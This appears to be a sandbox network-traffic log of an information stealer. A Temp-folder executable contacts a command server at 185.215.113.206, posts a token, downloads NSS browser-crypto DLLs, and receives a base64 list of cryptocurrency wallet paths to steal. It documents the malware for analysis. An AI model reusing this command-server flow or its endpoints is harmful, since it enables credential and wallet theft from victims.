Dec 16, 2024 15:02:48.573581934 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:02:49.663619041 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84142 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:02:59.678451061 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50019	34.107.221.82	80	4304	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:50.028281927 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:02:51.129724026 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 16 Dec 2024 10:09:59 GMT Age: 13971 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 16, 2024 15:03:01.172622919 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50030	185.215.113.206	80	5672	C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:53.797509909 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 61 65 62 30 64 31 34 64 33 33 35 63 65 64 63 38 66 63 33 62 64 64 36 66 37 39 64 37 66 39 65 31 39 36 37 65 32 64 32 32 64 33 64 63 30 64 32 35 36 35 38 37 36 62 35 35 31 32 63 66 31 61 66 66 37 33 34 65 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="token"2f3aeb0d14d335cedc8fc3bdd6f79d7f9e1967e2d22d3dc0d2565876b5512cf1aff734e0------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="file"------AEBKKECBGIIJJKECGIJE--
Dec 16, 2024 15:02:55.619065046 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 15:02:58.152148008 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 15:02:58.595614910 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 16, 2024 15:02:58.595710039 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 16, 2024 15:02:58.595724106 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 16, 2024 15:02:58.595783949 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 16, 2024 15:02:58.595796108 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 16, 2024 15:02:58.595804930 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Dec 16, 2024 15:02:58.595927954 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Dec 16, 2024 15:02:58.595983028 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Dec 16, 2024 15:02:58.596002102 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Dec 16, 2024 15:02:58.596015930 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Dec 16, 2024 15:02:58.604069948 CET	1236	IN	Data Raw: ff ff 89 7d d4 8b 95 e0 fe ff ff 11 d0 89 45 cc 8b 4d a0 31 c1 8b 75 9c 31 fe 8b 5d c4 01 cb 89 5d c4 8b 7d bc 11 f7 89 7d bc 8b 85 7c ff ff ff 31 d8 89 c3 31 fa 0f a4 d0 08 0f a4 da 08 89 d7 8b 55 d4 03 95 40 ff ff ff 8b 5d cc 13 9d 3c ff ff ff Data Ascii: }EM1u1]]}}\|11U@]<U]11lMuuMM11UM EHMM(Eh1]1EEuu]11]
Dec 16, 2024 15:03:00.259685993 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 15:03:00.702352047 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 16, 2024 15:03:01.573524952 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 15:03:02.015685081 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 16, 2024 15:03:02.749032021 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 15:03:03.191828012 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 16, 2024 15:03:06.311094999 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 15:03:06.753756046 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 16, 2024 15:03:07.415792942 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 15:03:07.875109911 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 16, 2024 15:03:09.344806910 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEH Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 15:03:10.522893906 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 15:03:12.449321985 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 61 65 62 30 64 31 34 64 33 33 35 63 65 64 63 38 66 63 33 62 64 64 36 66 37 39 64 37 66 39 65 31 39 36 37 65 32 64 32 32 64 33 64 63 30 64 32 35 36 35 38 37 36 62 35 35 31 32 63 66 31 61 66 66 37 33 34 65 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="token"2f3aeb0d14d335cedc8fc3bdd6f79d7f9e1967e2d22d3dc0d2565876b5512cf1aff734e0------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="message"wallets------GCGHCBKFCFBFHIDHDBFC--
Dec 16, 2024 15:03:12.893850088 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1